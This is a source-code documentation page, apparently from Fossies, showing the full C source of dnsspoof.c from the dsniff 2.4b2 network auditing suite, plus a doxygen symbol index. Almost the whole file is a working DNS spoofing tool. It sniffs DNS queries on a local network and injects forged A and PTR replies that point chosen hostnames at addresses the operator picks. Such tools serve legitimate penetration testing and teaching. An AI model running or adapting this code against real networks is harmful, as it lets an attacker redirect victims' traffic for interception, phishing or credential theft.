dsniff  2.4b2
About: A collection of tools for network auditing
  Fossies Dox: dsniff-2.4b2.tar.gz  ("inofficial" and yet experimental doxygen-generated source code documentation)  

dnsspoof.c
Go to the documentation of this file.
1 /*
2  * dnsspoof.c
3  *
4  * Forge replies to arbitrary DNS A / PTR queries on the LAN.
5  *
6  * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
7  *
8  * $Id: dnsspoof.c,v 1.10 2001/03/15 08:33:03 dugsong Exp $
9  * Migrated to Libnet 1.2.x by Dotcom
10  */
11 
12 #include "config.h"
13 
14 #include <sys/param.h>
15 #include <sys/types.h>
16 #include <sys/queue.h>
17 #include <netinet/in.h>
18 #include <arpa/nameser.h>
19 
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <signal.h>
23 #include <string.h>
24 #include <resolv.h>
25 #include <err.h>
26 #include <libnet.h>
27 #include <pcap.h>
28 
29 #include "pcaputil.h"
30 #include "version.h"
31 
32 struct dnsent {
33  char *name;
35  SLIST_ENTRY(dnsent) next;
36 };
37 
38 SLIST_HEAD(, dnsent) dns_entries;
39 
40 pcap_t *pcap_pd = NULL;
41 int pcap_off = -1;
42 int lnet_sock = -1;
43 u_long lnet_ip = -1;
44 
45  libnet_t *l;
46 libnet_ptag_t udp_id, ip_id;
47 
48 static void
49 usage(void)
50 {
51  fprintf(stderr, "Version: " VERSION "\n"
52  "Usage: dnsspoof [-i interface] [-f hostsfile] [expression]\n");
53  exit(1);
54 }
55 
56 /* Pattern matching code from OpenSSH. */
57 static int
58 match_pattern(const char *s, const char *pattern)
59 {
60  for (;;) {
61  if (!*pattern) return (!*s);
62 
63  if (*pattern == '*') {
64  pattern++;
65 
66  if (!*pattern) return (1);
67 
68  if (*pattern != '?' && *pattern != '*') {
69  for (; *s; s++) {
70  if (*s == *pattern &&
71  match_pattern(s + 1, pattern + 1))
72  return (1);
73  }
74  return (0);
75  }
76  for (; *s; s++) {
77  if (match_pattern(s, pattern))
78  return (1);
79  }
80  return (0);
81  }
82  if (!*s) return (0);
83 
84  if (*pattern != '?' && *pattern != *s)
85  return (0);
86 
87  s++;
88  pattern++;
89  }
90  /* NOTREACHED */
91 }
92 
93 static void
94 dns_init(char *filename,libnet_t *l)
95 {
96  FILE *f;
97  struct dnsent *de;
98  char *ip, *name, buf[1024];
99  /*
100  if ((llif = libnet_open_link_interface(dev, buf)) == NULL)
101  errx(1, "%s", buf);
102  */
103  if ((lnet_ip = libnet_get_ipaddr4(l)) == -1)
104  errx(1, "%s", buf);
105 
106  lnet_ip = htonl(lnet_ip);
107 
108 
109  SLIST_INIT(&dns_entries);
110 
111  if (filename != NULL) {
112  if ((f = fopen(filename, "r")) == NULL)
113  err(1, "fopen");
114 
115  while (fgets(buf, sizeof(buf), f) != NULL) {
116  if (buf[0] == '#' || buf[0] == '\n')
117  continue;
118 
119  if ((ip = strtok(buf, "\t ")) == NULL ||
120  (name = strtok(NULL, "\n\t ")) == NULL)
121  continue;
122 
123  if ((de = malloc(sizeof(*de))) == NULL)
124  err(1, "malloc");
125 
126  if ((de->ip = inet_addr(ip)) == INADDR_ANY ||
127  (de->name = strdup(name)) == NULL)
128  errx(1, "invalid entry");
129 
130  SLIST_INSERT_HEAD (&dns_entries, de, next);
131  }
132  fclose(f);
133  }
134  else {
135  if ((de = malloc(sizeof(*de))) == NULL)
136  err(1, "malloc");
137 
138  de->ip = lnet_ip;
139  de->name = "*";
140 
141  SLIST_INSERT_HEAD (&dns_entries, de, next);
142  }
143 }
144 
145 static in_addr_t
146 dns_lookup_a(const char *name)
147 {
148  struct dnsent *de;
149 
150  SLIST_FOREACH(de, &dns_entries, next) {
151  if (match_pattern(name, de->name))
152  return (de->ip);
153  }
154  return (-1);
155 }
156 
157 static char *
158 dns_lookup_ptr(const char *name)
159 {
160  struct dnsent *de;
161  int a0, a1, a2, a3;
162  in_addr_t dst;
163  char *a;
164 
165  if (strchr(name, '%') != NULL)
166  return (NULL);
167 
168  if (sscanf(name, "%d.%d.%d.%d.", &a3, &a2, &a1, &a0) != 4)
169  return (NULL);
170 
171  a = (char *)&dst;
172 
173  a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
174 
175  SLIST_FOREACH(de, &dns_entries, next) {
176  if (de->ip == dst && strchr(de->name, '*') == NULL)
177  return (de->name);
178  }
179  return (NULL);
180 }
181 
182 static void
183 dns_spoof(u_char *u, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
184 {
185  struct libnet_ipv4_hdr *ip;
186  struct libnet_udp_hdr *udp;
187  HEADER *dns;
188  char name[MAXHOSTNAMELEN];
189  u_char *p, *q, *end, buf[1024];
190  int i, anslen, dnslen;
191  in_addr_t dst;
192  u_short type, class;
193 
194  ip = (struct libnet_ipv4_hdr *)(pkt + pcap_off);
195  udp = (struct libnet_udp_hdr *)(pkt + pcap_off + (ip->ip_hl * 4));
196  dns = (HEADER *)(udp + 1);
197  p = (u_char *)(dns + 1);
198  end = (u_char *)pkt + pkthdr->caplen;
199 
200  if ((dnslen = end - (u_char *)dns) < sizeof(*dns))
201  return;
202 
203  if (dns->opcode != QUERY || ntohs(dns->qdcount) != 1 ||
204  dns->ancount || dns->nscount || dns->arcount)
205  return;
206 
207  if ((i = dn_expand((u_char *)dns, end, p, name, sizeof(name))) < 0)
208  return;
209 
210  p += i;
211  GETSHORT(type, p);
212  GETSHORT(class, p);
213 
214  if (class != C_IN)
215  return;
216 
217  p = buf + LIBNET_IPV4_H + LIBNET_UDP_H + dnslen;
218 
219  if (type == T_A) {
220  if ((dst = dns_lookup_a(name)) == -1)
221  return;
222  /* XXX - cheat on alignment. */
223  memcpy(p, "\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04",
224  12);
225  memcpy(p + 12, &dst, sizeof(dst));
226  anslen = 16;
227  }
228  else if (type == T_PTR) {
229  if ((q = dns_lookup_ptr(name)) == NULL)
230  return;
231  /* XXX - cheat on alignment. */
232  memcpy(p, "\xc0\x0c\x00\x0c\x00\x01\x00\x00\x00\x3c", 10);
233  anslen = dn_comp(q, p + 12, 256, NULL, NULL);
234  p += 10;
235  PUTSHORT(anslen, p);
236  anslen += 12;
237  }
238  else return;
239 
240  udp_id = libnet_build_udp(ntohs(udp->uh_dport),
241  ntohs(udp->uh_sport),
242  LIBNET_UDP_H + dnslen + anslen,
243  NULL,
244  buf + LIBNET_IPV4_H + LIBNET_UDP_H,
245  dnslen + anslen,
246  l,udp_id);
247 
248  ip_id = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_UDP_H + dnslen + anslen, 0, libnet_get_prand(LIBNET_PRu16),
249  0, 64, IPPROTO_UDP,0, ip->ip_dst.s_addr,
250  ip->ip_src.s_addr, NULL,0 ,l,ip_id);
251 
252 
253  memcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, (u_char *)dns, dnslen);
254 
255  dns = (HEADER *)(buf + LIBNET_IPV4_H + LIBNET_UDP_H);
256  dns->qr = dns->ra = 1;
257  if (type == T_PTR) dns->aa = 1;
258  dns->ancount = htons(1);
259 
260  dnslen += anslen;
261 
262  //libnet_do_checksum(l,buf, IPPROTO_UDP, LIBNET_UDP_H + dnslen);
263 
264  if (libnet_write(l) < 0)
265  warn("write");
266 
267  fprintf(stderr, "%s.%d > %s.%d: %d+ %s? %s\n",
268  libnet_addr2name4(ip->ip_src.s_addr, 0), ntohs(udp->uh_sport),
269  libnet_addr2name4(ip->ip_dst.s_addr, 0), ntohs(udp->uh_dport),
270  ntohs(dns->id), type == T_A ? "A" : "PTR", name);
271 }
272 
273 static void
274 cleanup(int sig)
275 {
276  libnet_close_link(l);
277  pcap_close(pcap_pd);
278  exit(0);
279 }
280 
281 int
282 main(int argc, char *argv[])
283 {
284  extern char *optarg;
285  extern int optind;
286  char *p, *dev, *hosts, buf[1024];
287  int i;
288 
289  dev = hosts = NULL;
290  char errbuf[LIBNET_ERRBUF_SIZE];
291 
292  l = libnet_init(
293  LIBNET_RAW4, /* or LIBNET_LINK or LIBNET_RAW6 */
294  NULL, /* or device if you using LIBNET_LINK */
295  errbuf);
296 
297  while ((i = getopt(argc, argv, "i:f:h?")) != -1) {
298  switch (i) {
299  case 'i':
300  dev = optarg;
301  break;
302  case 'f':
303  hosts = optarg;
304  break;
305  default:
306  usage();
307  break;
308  }
309  }
310  argc -= optind;
311  argv += optind;
312 
313  if (dev == NULL && (dev = pcap_lookupdev(buf)) == NULL)
314  errx(1, "%s", buf);
315 
316  dns_init(hosts,l);
317 
318  if (argc > 0) {
319  p = copy_argv(argv);
320  strlcpy(buf, p, sizeof(buf));
321  }
322  else snprintf(buf, sizeof(buf), "udp dst port 53 and not src %s",
323  libnet_addr2name4(lnet_ip, 0));
324 
325  if ((pcap_pd = pcap_init(dev, buf, 128)) == NULL)
326  errx(1, "couldn't initialize sniffing");
327 
328  if ((pcap_off = pcap_dloff(pcap_pd)) < 0)
329  errx(1, "couldn't determine link layer offset");
330  /*
331  if ((lnet_sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
332  errx(1, "couldn't initialize sending");
333  */
334  libnet_seed_prand(l);
335 
336  signal(SIGHUP, cleanup);
337  signal(SIGINT, cleanup);
338  signal(SIGTERM, cleanup);
339 
340  warnx("listening on %s [%s]", dev, buf);
341 
342  pcap_loop(pcap_pd, -1, dns_spoof, NULL);
343 
344  /* NOTREACHED */
345 
346  exit(0);
347 }
SLIST_INIT
#define SLIST_INIT(head)
Definition: queue.h:121
warnx
void warnx(const char *fmt,...)
Definition: err.c:89
dns_spoof
static void dns_spoof(u_char *u, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
Definition: dnsspoof.c:183
usage
static void usage(void)
Definition: arpspoof.c:39
pcap_init
pcap_t * pcap_init(char *intf, char *filter, int snaplen)
Definition: pcaputil.c:63
pcaputil.h
strlcpy
size_t strlcpy(char *dst, const char *src, size_t siz)
Definition: strlcpy.c:43
dnsent
Definition: dnsspoof.c:32
dns_lookup_ptr
static char * dns_lookup_ptr(const char *name)
Definition: dnsspoof.c:158
version.h
l
libnet_t * l
Definition: arpspoof.c:34
pkt
static u_char pkt[4+8+262144]
Definition: ssh.c:87
errbuf
char errbuf[LIBNET_ERRBUF_SIZE]
Definition: arpspoof.c:35
pcap_off
int pcap_off
Definition: tcpkill.c:31
main
int main(int argc, char *argv[])
Definition: dnsspoof.c:282
SLIST_HEAD
SLIST_HEAD(dnsent)
Definition: dnsspoof.c:38
SLIST_FOREACH
#define SLIST_FOREACH(var, head, field)
Definition: queue.h:113
err.h
pcap_dloff
int pcap_dloff(pcap_t *pd)
Definition: pcaputil.c:35
VERSION
#define VERSION
Definition: version.h:1
buf
Definition: buf.h:14
err
void err(int eval, const char *fmt,...)
Definition: err.c:47
match_pattern
static int match_pattern(const char *s, const char *pattern)
Definition: dnsspoof.c:58
queue.h
ip_id
libnet_ptag_t ip_id
Definition: filenamesnarf.c:32
copy_argv
char * copy_argv(char **argv)
Definition: pcaputil.c:101
dnsent::name
char * name
Definition: dnsspoof.c:33
errx
void errx(int eval, const char *fmt,...)
Definition: err.c:76
SLIST_INSERT_HEAD
#define SLIST_INSERT_HEAD(head, elm, field)
Definition: queue.h:130
warn
void warn(const char *fmt,...)
Definition: err.c:62
in_addr_t
#define in_addr_t
Definition: config.h:32
config.h
if
if(screen !=save_screen)
Definition: vroot.h:71
SLIST_ENTRY
#define SLIST_ENTRY(type)
Definition: queue.h:100
dns_init
static void dns_init(char *filename, libnet_t *l)
Definition: dnsspoof.c:94
dnsent::ip
u_int32_t ip
Definition: dnsspoof.c:34
dns_lookup_a
static u_int32_t dns_lookup_a(const char *name)
Definition: dnsspoof.c:146
cleanup
static void cleanup(int sig)
Definition: dnsspoof.c:274